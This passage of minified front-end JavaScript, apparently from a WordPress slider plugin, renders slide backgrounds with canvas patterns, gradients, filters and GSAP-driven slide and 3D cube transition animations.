0===i.shadowCanvas_Drawn)&&window.requestAnimationFrame(function(){t.updateVideoFrames(e,i)})},createOverlay:function(e,i,a,r){if("none"===i)return"none";a=void 0===a?1:a;r=void 0===r?{0:"rgba(0, 0, 0, 0)",1:"rgba(0, 0, 0, 1)"}:r;var s={none:[[0]],1:[[1,0],[0,0]],2:[[1,0,0],[0,0,0],[0,0,0]],3:[[1,0,0,0],[0,0,0,0],[0,0,0,0]],4:[[1],[0]],5:[[1],[0],[0]],6:[[1],[0],[0],[0]],7:[[1,0]],8:[[1,0,0]],9:[[1,0,0,0]],10:[[1,0,0,0,0],[0,1,0,1,0],[0,0,0,0,0],[0,1,0,1,0],[0,0,0,0,1]],11:[[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0]],12:[[1,0,0],[0,1,0],[0,0,1]],13:[[0,0,1],[0,1,0],[1,0,0]],14:[[1,0,0,0,0],[0,1,0,0,0],[0,0,1,0,0],[0,0,0,1,0],[0,0,0,0,0]],15:[[0,0,0,0,1],[0,0,0,1,0],[0,0,1,0,0],[0,1,0,0,0],[1,0,0,0,0]],16:[[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1]]},o=void 0===s[i=void 0===i?1:i]?s[2]:s[i];_R_is_Editor&&(t[e]=void 0===t[e]?{}:t[e]),t[e].patternCanvas=document.createElement("canvas"),t[e].patternCtx=t[e].patternCanvas.getContext("2d"),t[e].patternCanvas.width=o[0].length*a,t[e].patternCanvas.height=o.length*a;for(var n=0;n<o.length;n++)for(var l=0;l<o[n].length;l++)"transparent"!=r[o[n][l]]&&(t[e].patternCtx.fillStyle=r[o[n][l]],t[e].patternCtx.fillRect(l*a,n*a,a,a));return"url("+t[e].patternCanvas.toDataURL()+")"},getBGCanvasDetails:function(e,i,a){var r;return a||(i.mDIM=t.getmDim(e,i.skeyindex,i)),i.usepattern=("auto"===i.bgfit||i.bgfit.indexOf("%")>=0)&&(void 0===i.loadobj||!0!==i.loadobj.useBGColor),_R_is_Editor&&void 0===i.panzoom&&delete i.shadowCanvas,void 0===i.shadowCanvas&&(i.shadowCanvas=document.createElement("canvas"),i.shadowCTX=i.shadowCanvas.getContext("2d"),i.shadowCanvas.style.background="transparent",i.shadowCanvas.style.opacity=1),!0===i.replaceShadowCanvas||!0===i.loadobj.bgColor||!0===i.usebgColor||void 0!==i.panzoom||null!=i.isHTML5&&1!=i.poster||i.usepattern?(r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0},i.usepattern&&void 0!==i.loadobj&&void 0!==i.loadobj.img?t.getCanvasPattern(e,i,{ratio:i.loadobj.height/i.loadobj.width}):(i.loadobj.bgColor||i.usebgColor)&&(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),t.getCanvasGradients(e,i))):(r=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),void 0!==i.loadobj&&void 0!==i.loadobj.img&&i.shadowCTX.drawImage(i.loadobj.img,r.x,r.y,r.width,r.height),r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0}),r},getCanvasPattern:function(e,i,a){void 0===i.patternImageCanvas&&(i.patternImageCanvas=document.createElement("canvas"),i.patternImageCTX=i.patternImageCanvas.getContext("2d"));var r=i.bgfit.split(" ");1===r.length&&(r[1]=r[0]),a.width="auto"===r[0]?i.loadobj.width:i.loadobj.width*(parseInt(r[0],0)/100),a.height="auto"===r[1]?i.loadobj.height:a.width*a.ratio,i.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR;var s=a.width/a.height;a.width=a.width*i.DPR,a.height=a.height*i.DPR,t.isIOS&&a.width*a.height>15728640&&(i.mDIM.width>i.mDIM.height?(a.width=i.mDIM.width,a.height=Math.round(i.mDIM.width/s)):(a.height=i.mDIM.height,a.width=Math.round(i.mDIM.height*s))),i.patternImageCanvas.width=a.width,i.patternImageCanvas.height=a.height,i.patternImageCTX.drawImage(i.loadobj.img,0,0,a.width,a.height),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.clearRect(0,0,i.shadowCTX.canvas.width,i.shadowCTX.canvas.height),i.pattern=i.shadowCTX.createPattern(i.patternImageCanvas,i.bgrepeat),i.shadowCTX.fillStyle=i.pattern,i.shadowShifts={h:i.bgposition.split(" ")[0],v:i.bgposition.split(" ")[1]},i.shadowShifts.hperc=t.isNumeric(parseInt(i.shadowShifts.h))?parseInt(i.shadowShifts.h)/100*i.mDIM.width:0,i.shadowShifts.vperc=t.isNumeric(parseInt(i.shadowShifts.v))?parseInt(i.shadowShifts.v)/100*i.mDIM.height:0,i.shadowShifts.x="left"===i.shadowShifts.h?0:"center"===i.shadowShifts.h||"50%"==i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?i.mDIM.width/2-a.width/2-Math.ceil(i.mDIM.width/2/a.width)*a.width:i.mDIM.width/2-a.width/2:"right"===i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.mDIM.width%a.width):i.mDIM.width-a.width:"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.shadowShifts.hperc%a.width):i.shadowShifts.hperc,i.shadowShifts.y="top"===i.shadowShifts.v?0:"center"===i.shadowShifts.v||"50%"==i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?i.mDIM.height/2-a.height/2-Math.ceil(i.mDIM.height/2/a.height)*a.height:i.mDIM.height/2-a.height/2:"bottom"===i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.mDIM.height%a.height):i.mDIM.height-a.height:"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.shadowShifts.vperc%a.height):i.shadowShifts.vperc,i.shadowCTX.save(),i.shadowCTX.translate(i.shadowShifts.x,i.shadowShifts.y),i.shadowCTX.fillRect(0,0,i.mDIM.width-i.shadowShifts.x,i.mDIM.height-i.shadowShifts.y),i.shadowCTX.restore()},getCanvasGradients:function(e,i){if(i.bgcolor.indexOf("gradient")>=0){i.gradient=null==i.gradient||_R_is_Editor?t.getGradients(i.bgcolor):i.gradient,i.shadowGrd="radialGradient"===i.gradient.type?i.shadowCTX.createRadialGradient(i.mDIM.width/2,i.mDIM.height/2,0,i.mDIM.width/2,i.mDIM.height/2,Math.max(i.mDIM.width/2,i.mDIM.height/2)):t.calcLinearGradient(i.shadowCTX,i.shadowCanvas.width,i.shadowCanvas.height,i.gradient.deg);for(var a=0;a<i.gradient.stops.length;a+=2)i.shadowGrd.addColorStop(i.gradient.stops[a+1],i.gradient.stops[a]);i.shadowCTX.clearRect(0,0,i.mDIM.width,i.mDIM.height),i.shadowCTX.fillStyle=i.shadowGrd,i.shadowCTX.fillRect(0,0,i.mDIM.width,i.mDIM.height)}else i.shadowCTX.clearRect(0,0,i.mDIM.width,i.mDIM.height),i.shadowCTX.fillStyle=i.bgcolor,i.shadowCTX.fillRect(0,0,i.mDIM.width,i.mDIM.height)},cNS:function(e){var t;for(t in e.n=document.createElementNS("http://www.w3.org/2000/svg",e.n),e.v)e.n.setAttributeNS(null,t.replace(/[A-Z]/g,function(e,t,i,a){return"-"+e.toLowerCase()}),e.v[t]);for(t in void 0!==e.c&&e.n.setAttribute("class",e.c),void 0!==e.id&&(e.n.id=e.id),void 0!==e.t&&(e.n.textContent=e.t),e.s)e.s.hasOwnProperty(t)&&(e.n.style[t]=e.s[t]);return e.n},rgbToHex:function(e){return"#"+d(e[0])+d(e[1])+d(e[2])},getSVGGradient:function(e){if(void 0===e)return e;if(_R_is_Editor&&(e=RSColor.convert(e)),-1==e.indexOf("gradient"))return e;var i=t.getGradients(e);void 0===t.gradSVG&&(t.gradSVG=t.cNS({n:"svg",id:"tp_svg_gradients",s:{width:"100%",height:"100%",opacity:0,pointerEvents:"none"}}),t.gradSVG.setAttribute("viewBox","0 0 1 1"),t.gradSVG.setAttribute("preserveAspectRatio","none"),document.body.appendChild(t.gradSVG),t.svgGradients=[]);for(var a=!1,r=JSON.stringify(e),s=0;s<t.svgGradients.length;s++)a||t.svgGradients[s].src==r&&(a=!0,e=t.svgGradients[s].url);if(!a){var o,n,l,d="radialGradient"===i.type?0:i.deg*(Math.PI/180),S="radialGradient"===i.type?0:{x1:Math.round(50+50*Math.sin(d))+"%",y1:Math.round(50+50*Math.cos(d))+"%",x2:Math.round(50+50*Math.sin(d+Math.PI))+"%",y2:Math.round(50+50*Math.cos(d+Math.PI))+"%"};l=t.cNS({n:i.type,id:"tp_svg_gradient_"+t.svgGradients.length,v:"radialGradient"===i.type?void 0:{gradientUnits:"userSpaceOnUse",x1:S.x1,y1:S.y1,x2:S.x2,y2:S.y2}});for(var c=0;c<=i.stops.length/2;c+=2)n=tpGS.gsap.utils.splitColor(i.stops[c]),o=t.cNS({n:"stop",v:{offset:100*i.stops[c+1]+"%",stopColor:t.rgbToHex(n),stopOpacity:n.length>3?n[3]:1}}),l.appendChild(o);t.gradSVG.appendChild(l),e="url(#tp_svg_gradient_"+t.svgGradients.length+")",t.svgGradients.push({url:e,src:r,g:l})}return e},getGradients:function(e){return e.indexOf("radial-gradient")>=0?{stops:t.getGradientColorStopPoints(e.split("radial-gradient(ellipse at center, ")[1]),type:"radialGradient",deg:0}:-1!==e.indexOf("gradient")?t.getLinearGradientStops(e):e},getLinearGradientStops:function(e){var t=e.split("linear-gradient(")[1];_R_is_Editor&&(t=(t=t.split(", ").join(",")).split(",rgba").join(", rgba"));var i=t.split("deg, ");for(var a in t=(i.length>1?i[1]:i[0]).split(" "),i=i.length>1?i[0]:180,t)t.hasOwnProperty(a)&&t[a].indexOf("%")>=0&&(t[a]=""+Math.round(100*parseFloat(t[a].split("%,")[0].split("%)")[0]))/1e4);return{stops:t,deg:i,type:"linearGradient"}},getGradientColorStopPoints:function(e){var t=/rgb([\s\S]*?)%/g,i=[],a=[];do{(s=t.exec(e))&&i.push(s[0])}while(s);for(var r=0;r<i.length;r++){var s=i[r],o=(e=/rgb([\s\S]*?)\)/.exec(s),/\)([\s\S]*?)%/.exec(s));e[0]&&(e=e[0]),o[1]&&(o=o[1]),a.push(e),a.push(parseFloat(o)/100)}return a},calcLinearGradient:function(e,t,i,a){a=a*Math.PI/180+Math.PI/2;for(var r,s,o,n,l=t/2,d=i/2,S=Math.sqrt(l*l+d*d),R={x1:Math.cos(a)*S+l,y1:Math.sin(a)*S+d,x2:l,y2:d},V=[p({x:0,y:0},a),p({x:t,y:0},a),p({x:t,y:i},a),p({x:0,y:i},a)],y=[],m=0;m<V.length;m++)y.push(u(V[m],R));if(c(l,d,y[0].x,y[0].y)>c(l,d,y[1].x,y[1].y)?(r=y[0].x,s=y[0].y):(r=y[1].x,s=y[1].y),c(l,d,y[2].x,y[2].y)>c(l,d,y[3].x,y[3].y)?(o=y[2].x,n=y[2].y):(o=y[3].x,n=y[3].y),Math.round(100*Math.atan2(d-s,l-r))/100===Math.round(a%(2*Math.PI)*100)/100){var f=r,g=s;r=o,s=n,o=f,n=g}return e.createLinearGradient(Math.round(r),Math.round(s),Math.round(o),Math.round(n))},transitions:{filter:{update:function(e,t,i){if(void 0!==e&&void 0!==e.tl){var a=void 0!==i||void 0!==e.tl.blur?" blur("+(void 0!==i?i:0+e.tl.blur!==void 0?e.tl.blur:0)+"px)":"";t.canvas.style.filter=void 0===e.tl.filter?""+a:e.tl.filter+a}},extendTimeLine:function(e,t,i){if(null!=t){var a=void 0!==t.g&&"0%"!==t.g&&0!==t.g?(""===a?"":" ")+"grayscale(_g_%)":"";a+=void 0!==t.h&&"100%"!==t.h&&100!==t.h?(""===a?"":" ")+"brightness(_h_%)":"",a+=void 0!==t.s&&"0px"!==t.s&&0!==t.s?(""===a?"":" ")+"sepia(_s_%)":"",a+=void 0!==t.c&&100!==t.c?(""===a?"":" ")+"contrast(_c_%)":"",""!==(a+=void 0!==t.i&&0!==t.i?(""===a?"":" ")+"invert(_i_%)":"")&&(t.tl={filter:a.replace("_g_",parseFloat(t.g)).replace("_h_",parseFloat(t.h)).replace("_s_",parseFloat(t.s)).replace("_c_",parseFloat(t.c)).replace("_i_",parseFloat(t.i))}),void 0!==t.b&&"0px"!==t.b&&0!==t.b&&(void 0===t.tl?t.tl={blur:parseFloat(t.b)}:t.tl.blur=parseFloat(t.b)),void 0!==t.tl&&(e.add(tpGS.gsap.to(t.tl,t.ms/t.sec,void 0===t.tl.filter?{blur:0}:void 0===t.tl.blur?{filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}:{blur:0,filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}),0),i.canvasFilter=!0)}}},slidingoverlay:{getBasic:function(){return t.getBasic({attr:["x","y"],in:{m:!0,o:-1,_xy:20,_gxys:10,_gxye:-10,zIndex:20,e:"power1.inOut"},out:{m:!0,reversed:!1,_xy:-100,o:0,zIndex:10,e:"power1.inOut"}})},updateAnim:function(e,i,a){var r=void 0!==i.in.x&&0!==i.in.x&&"0%"!==i.in.x?"x":"y";i.in["g"+r+"s"]=t.SATools.getOffset(i.in[r],i.in._gxys,a,1)+"%",i.in["g"+r+"e"]=t.SATools.getOffset(i.in[r],i.in._gxye,a,1)+"%",i.out[r]=t.SATools.getOffset(i.in[r],i.out._xy,a,1)+"%",i.in[r]=t.SATools.getOffset(i.in[r],i.in._xy,a,1)+"%";var s=parseInt(i.in[r])>=0;return i.in.d="x"===r?s?"left":"right":s?"up":"down",i},beforeDraw:function(e,t,i,a){void 0!==i.d&&(i._dxs="right"===i.d?0+i.mw:"left"===i.d?0-i.mw:0,i._dys="down"===i.d?0+i.mh:"up"===i.d?0-i.mh:0,i._xs="left"===i.d?0-i.mw:0,i._ys="up"===i.d?0-i.mh:0,i._xe="right"===i.d?a.SLOT.OW+i.mw:"left"===i.d?a.SLOT.OW-i.mw:a.SLOT.OW,i._ye="down"===i.d?a.SLOT.OH+i.mh:"up"===i.d?a.SLOT.OH-i.mh:a.SLOT.OH,t.beginPath(),t.rect("left"===i.d?Math.max(0,i._xs):"right"===i.d?Math.min(0,i._xs):0,"up"===i.d?Math.max(0,i._ys):"down"===i.d?Math.min(0,i._ys):0,"left"===i.d?Math.max(a.SLOT.OW,i._xe):"right"===i.d?Math.min(a.SLOT.OW,i._xe):i._xe,"up"===i.d?Math.max(a.SLOT.OH,i._ye):"down"===i.d?Math.min(a.SLOT.OH,i._ye):i._ye),t.clip())},afterDraw:function(e,t,i,a,r){void 0!==i.d&&(t.save(),t.beginPath(),t.rect(Math.max(0,i._dxs),Math.max(0,i._dys),i._xe,i._ye),t.clip(),t.save(),t.transform(r.csx,r.ssx,r.ssy,r.csy,.5*a.SLOT.OW+i.x+i.sgx,.5*a.SLOT.OH+i.y+i.sgy),t.drawImage(void 0!==a.shadowCanvas?a.shadowCanvas:a.loadobj.img,0,0,a.SLOT.OW,a.SLOT.OH,i.sgx-a.SLOT.OW/2,i.sgy-a.SLOT.OH/2,a.SLOT.OW,a.SLOT.OH),t.restore(),t.fillStyle="rgba(0,0,0,0.6)",t.fillRect(i.gx,i.gy,a.SLOT.OW,a.SLOT.OH),t.restore())},extendTimeLine:function(e,i,a,r,s,o){"in"!==s.direction||void 0===r.gxe&&void 0===r.gye||(jQuery.extend(!0,a[0],{d:r.d,gx:void 0===r.gxs?0:2*t.SATools.getOffset(r.gxs,o.width,s.sdir,0),gy:void 0===r.gys?0:2*t.SATools.getOffset(r.gys,o.height,s.sdir,0),sgx:void 0===r.gxs?0:t.SATools.getOffset(r.gxs,o.width,s.sdir,0),sgy:void 0===r.gys?0:t.SATools.getOffset(r.gys,o.height,s.sdir,0),mw:0-o.width,mh:0-o.height}),i.add(tpGS.gsap.to(a,r.ms/r.sec,{gx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,o.width,s.sdir,0),gy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,o.height,s.sdir,0),sgx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,o.width,s.sdir,0),sgy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,o.height,s.sdir,0),mw:o.width,mh:o.height,ease:r.e}),0))}},motionFilter:{init:function(e,t){return void 0!==t&&parseFloat(t)>0?(t=parseFloat(t),e.fmExists=!0,e.fmShadow=void 0===e.fmShadow?document.createElement("canvas"):e.fmShadow,e.fmCtx=e.fmShadow.getContext("2d"),e.fmShadow.width=e.ctx.canvas.width,e.fmShadow.height=e.ctx.canvas.height,e.fmCtx.globalAlpha=tpGS.gsap.utils.mapRange(100,0,40,0,t)/100,e.fmCtx.clearRect(0,0,e.ctx.canvas.width,e.ctx.canvas.height)):e.fmExists=!1,t},render:function(e,t){"partial"===t&&(e.fmCtx.globalCompositeOperation="source-over"),e.fmCtx.drawImage(e.canvas,0,0,e.canvas.width,e.canvas.height),e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.ctx.drawImage(e.fmCtx.canvas,0,0,e.canvas.width,e.canvas.height),"partial"===t&&(e.fmCtx.globalCompositeOperation="source-atop"),"partial"!==t&&"full"!==t||(e.fmCtx.fillStyle="rgba(255, 255, 255, 0.1)",e.fmCtx.fillRect(0,0,e.canvas.width,e.canvas.height))},clearFull:function(e,t){e.fmExists&&void 0!==e.fmCtx&&(e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.fmCtx.clearRect(0,0,e.canvas.width,e.canvas.height),void 0!==t&&t.render(t.time(),!0,!0))},complete:function(e){e.fmShadow&&e.fmShadow.remove()}},d3:{ticker:function(e,t,i){if(void 0!==e.helper){var a=e.smi*("in"===i?e.helper.oo:e.helper.o),r=e.sma*("in"===i?e.helper.oo:e.helper.o);if(e.gradient="vertical"===e.d?"in"===i?t.ctx.createLinearGradient(0,0,0,t.canvas.height):t.ctx.createLinearGradient(0,t.canvas.height,0,0):"in"===i?t.ctx.createLinearGradient(0,0,t.canvas.width,0):t.ctx.createLinearGradient(t.canvas.width,0,0,0),e.gradient.addColorStop(0,"rgba("+e.sc+","+a+")"),e.gradient.addColorStop(e.sl,"rgba("+e.sc+","+r+")"),t.ctx.fillStyle=e.gradient,t.ctx.fillRect(0,0,t.canvas.width,t.canvas.height),void 0!==t.cube&&t.cube.ctx){var s=void 0!==e.roomhelper&&!1!==e.roomhelper&&(90-e.roomhelper.r)/90;a=!1!==s?s:e.smi*e.helper.o,r=!1!==s?s:e.sma*e.helper.o,t.cube.ctx.clearRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height),e.gradientW=!1!==s?"vertical"===e.d?e.t<0&&1===e.sdir||e.t>0&&-1===e.sdir?t.ctx.createRadialGradient(0,t.cube.ctx.canvas.width/2,0,0,0,2*t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width,0,0,0,0,2*t.cube.ctx.canvas.width):e.t>0&&1===e.sdir||e.t<0&&-1===e.sdir?t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):"vertical"===e.d?t.ctx.createLinearGradient(0,0,0,t.cube.ctx.canvas.height):t.ctx.createLinearGradient(0,0,t.cube.ctx.canvas.width,0),e.gradientW.addColorStop(0,"rgba("+e.sc+","+(!1!==s?"a"===e.DIR?r:0:"a"===e.DIR?0:r)+")"),e.gradientW.addColorStop(1,"rgba("+e.sc+","+(!1!==s?"a"===e.DIR?0:r:"a"===e.DIR?r:0)+")"),t.cube.ctx.fillStyle=e.gradientW,t.cube.ctx.fillRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height)}}},setWall:function(e,t,i,a,r,s){return e.TL=tpGS.gsap.timeline(),e.TL.add(tpGS.gsap.to(e.c,.2,{display:"block"}),0),"rotationX"===i?(e.ctx.canvas.width=a.w,e.ctx.canvas.height=a.w,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:a.w,height:a.w,transformOrigin:"50% 50% -"+a.w/2+"px",x:0,y:t>0?-(a.w-a.h):0,rotationX:t>0?-90:90,rotationY:0}),0)):(e.ctx.canvas.width=s?a.w:a.h,e.ctx.canvas.height=a.h,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:s?a.w:a.h,height:a.h,transformOrigin:"50% 50% -"+(s?a.w:a.h)/2+"px",x:t<0?a.w-a.h:0,y:0,rotationX:0,rotationY:t>0?-90:90}),0)),e.TL},buildCube:function(e){e.cube={c:document.createElement("div"),w:document.createElement("canvas")},e.cube.ctx=e.cube.w.getContext("2d"),e.cube.c.className="rs_fake_cube",e.cube.w.className="rs_fake_cube_wall",tpGS.gsap.set(e.cube.c,{width:e.mDIM.w,height:e.mDIM.h}),tpGS.gsap.set(e.cube.w,{width:e.mDIM.w,height:e.mDIM.h,backgroundColor:"#ccc"}),e.cube.c.appendChild(e.cube.w),e.sbg.appendChild(e.cube.c)},cubeTL:function(e,i,a,r){if("none"!==i.f&&void 0!==i.f){a.sbg.style.transformStyle="preserve-3d";var s=tpGS.gsap.timeline(),o="incube"===i.f?1:-1,n="incube"===i.f||"cube"===i.f,l="fly"===i.f?-30:90,d="turn"!==i.f&&!1!==i.t&&(_R_is_Editor||!0===t[e].firstSlideAnimDone),S=-1*i.z,c={},p={z:d?0:S,ease:"power1.inOut"},u={ease:i.e},R=[a.canvas],V=n?"50% 50% ":"20% 20% ",y="rotationX",m="rotationY",f="y",g="height",h=i.fd;if("vertical"!==i.d?(y="rotationY",m="rotationX",f="x",g="width",i.DIR=1===i.sdir?"b":"a"):i.DIR=1===i.sdir?"a":"b",g="width"===g?"w":"height"===g?"h":g,"turn"===i.f?(l="vertical"===i.d?-120:120,V="vertical"===i.d?1===i.sdir?"in"===r?"0% 0% 0%":"0% 100% 0%":"in"===r?"0% 100% 0%":"0% 0% 0%":1===i.sdir?"in"===r?"0% 0% 0%":"100% 0% 0%":"in"===r?"100% 0% 0%":"0% 0% 0%",p.z=0,u.ease="out"===r?"power3.out":u.ease,h="out"===r?h/2:h):V+=o*a.mDIM[g]/2+"px",u[y]=0,u[f]=0,"in"===r?c[y]=l*i.sdir:u[y]=-l*i.sdir,"fly"===i.f){var v=void 0===i.fz?20*Math.random()-10:parseInt(i.fz);"in"===r?(c[f]=a.mDIM[g]*(void 0===i.fdi?1.5:parseFloat(i.fdi))*i.sdir,c.rotateZ=i.sdir*v,u.rotateZ=0):(u[f]=a.mDIM[g]*(void 0===i.fdo?2:parseFloat(i.fdo))*i.sdir*-1,u.rotateZ=i.sdir*v*-1)}if(a.sbg.style.perspective=d?"2500px":"1500px",d){var _={z:S*("fly"===i.f?1.5:3),ease:"power1.inOut"},L={z:0,ease:"power1.inOut"};_[m]=-1*i.t,L[m]=0,i.roomhelper={r:0},s.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:1200,transformStyle:"preserve-3d",transformOrigin:V}),0),s.add(tpGS.gsap.to(a.sbg,3*i.md,_),0),s.add(tpGS.gsap.to(a.sbg,3*i.md,L),h-i.md),s.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:Math.abs(i.t)}),0),s.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:0}),h-i.md),"in"===r&&1!==o&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),s.add(t.transitions.d3.setWall(a.cube,_[m],m,a.mDIM,i.c),0),R.push(a.cube.c))}else i.roomhelper=!1,s.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:"none",transformStyle:"none",transformOrigin:"50% 50%"}),0),!_R_is_Editor&&!0!==t[e].firstSlideAnimDone&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),s.add(t.transitions.d3.setWall(a.cube,c[y],y,a.mDIM,i.c,!0),0),s.add(tpGS.gsap.fromTo(a.cube.w,4*i.md,{opacity:0},{opacity:1}),0),R.push(a.cube.c));return i.helper={o:0,oo:1},s.add(tpGS.gsap.to(i.helper,h,{o:1,oo:0,ease:i.e}),i.md+0),s.add(tpGS.gsap.set(R,jQuery.extend(!0,{},c,{force3D:!0,transformOrigin:V})),0),"turn"!==i.f&&s.add(tpGS.gsap.to(R,3*i.md,p),0),s.add(tpGS.gsap.to(R,h,u),i.md+0),"turn"!==i.f&&s.add(tpGS.gsap.to(R,3*i.md,{z:0,ease:"power1.inOut"}),h-i.md),"out"===r&&1!==o&&s.add(tpGS.gsap.to(R,2*i.md,{opacity:0}),i.dur-2*i.md),s}}}},animatedCanvasUpdate:function(e,i){i.cDIMS=t.getBGCanvasDetails(e,i),i.canvas.style.backgroundColor="transparent",i.canvas.style.opacity=1,i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),_R_is_Editor||!0!==t[e].clearModalBG||(i.ctx.clearRect(0,0,i.canvas.width,i.canvas.height),t[e].clearModalBG=!1,i.sbg.parentNode.style.opacity=1),i.col=i.col||1,i.row=i.row||1,i.SLOT=jQuery.extend(!0,{s:{},c:{}},a(e,i.col,i.row,i.mDIM,"OW","OH")),i.SLOT.DX=0-i.SLOT.OW/2,i.SLOT.DY=0-i.SLOT.OH/2,i.row=Math.ceil(i.mDIM.height/i.SLOT.OH)||1,void 0!==i.callFromAnimatedCanvasUpdate&&i.callFromAnimatedCanvasUpdate()},slideAnimFinished:function(e,i,a,r){void 0!==i&&(void 0!==i.bgvid&&i.bgvid.length>0&&"out"===a.direction&&(i.drawVideoCanvasImagesRecall=!1,t.stopVideo(i.bgvid,e),i.bgvid[0].style.display="none",i.bgvid[0].style.zIndex=0),i.panFake&&i.panFake.img&&("out"===a.direction?i.panFake.img.style.display="none":i.panFake.img.style.display="block"),"in"===a.direction&&(t.transitions.motionFilter.complete(i),i.ctx.canvas.style.filter="none",tpGS.gsap.set(a.slide,{zIndex:20}),delete i.animateDirection,i.bgvid.length>0&&(i.isHTML5?tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1}):(t.resetVideo(i.bgvid,e),tpGS.gsap.delayedCall(.1,function(){t.playVideo(i.bgvid,e,!0),tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1})})))),"out"===a.direction?(tpGS.gsap.set(a.slide,{zIndex:10}),tpGS.gsap.set(i.canvas,{rotationX:0,rotationY:0,rotationZ:0,x:0,y:0,z:0,opacity:1}),i.currentState=void 0):i.currentState="idle",void 0!==i.cube&&(i.cube.c.style.display="none"),"in"===a.direction&&(t.updateSlideBGs(e,i.skeyindex,i),void 0===i.panzoom||_R_is_Editor||t.startPanZoom(t[e].pr_next_bg,e,void 0!==t[e].panzoomTLs[i.skeyindex]?t[e].panzoomTLs[i.skeyindex].progress():0,i.skeyindex,"play",i.key),void 0!==a.BG&&!0!==r&&a.BG.ctx.clearRect(0,0,2*i.canvas.width,2*i.canvas.height)))},animateCore:function(e,i,a,r){var s,o,n,l,d=i.canvas,S=i.ctx,c=0;if(i.col=a.col,i.row=a.row,_R_is_Editor&&i.three){for(i.canvas.style.display="block";i.three.scene.children.length>0;)i.three.scene.remove(i.three.scene.children[0]);i.three.canvas.parentNode.removeChild(i.three.canvas),i.three=void 0}t.animatedCanvasUpdate(e,i),a.row=i.row,i.animateDirection=r.direction,r.delay=void 0===r.delay?0:r.delay,n=a.col*a.row,l=Array(n),void 0===i.help_canvas&&"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas=document.createElement("canvas"),i.help_ctx=i.help_canvas.getContext("2d")),"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas.width=i.mDIM.width,i.help_canvas.height=i.mDIM.height,i.help_ctx.fillStyle=r.bgColor,i.help_ctx.fillRect(0,0,i.mDIM.width,i.mDIM.height)),a.mo=t.transitions.motionFilter.init(i,a.mo),a.dur=a.ms/a.sec,void 0!==r.d3&&(r.d3.dur=a.dur,r.d3.fd=.7*a.dur,r.d3.md=.15*a.dur,r.d3.sdir=r.sdir),i.SLOT.c={ws:0,hs:0,wd:0,hd:0},a.mo>0&&_R_is_Editor&&S.clearRect(0,0,d.width,d.height);var p=tpGS.gsap.timeline({onUpdate:function(){if(c=0,a.mo>0?t.transitions.motionFilter.render(i,a.moo):S.clearRect(0,0,d.width,d.height),i.help_canvas&&"out"===r.direction&&S.drawImage(i.help_canvas,0,0),(r.filter&&r.filter.u||!_R_is_Editor)&&t.transitions.filter.update(r.filter,S,i.canvasFilterBlur),_R_is_Editor&&0!==a.zIndex&&void 0!==a.zIndex&&tpGS.gsap.set(r.slide,{zIndex:a.zIndex}),void 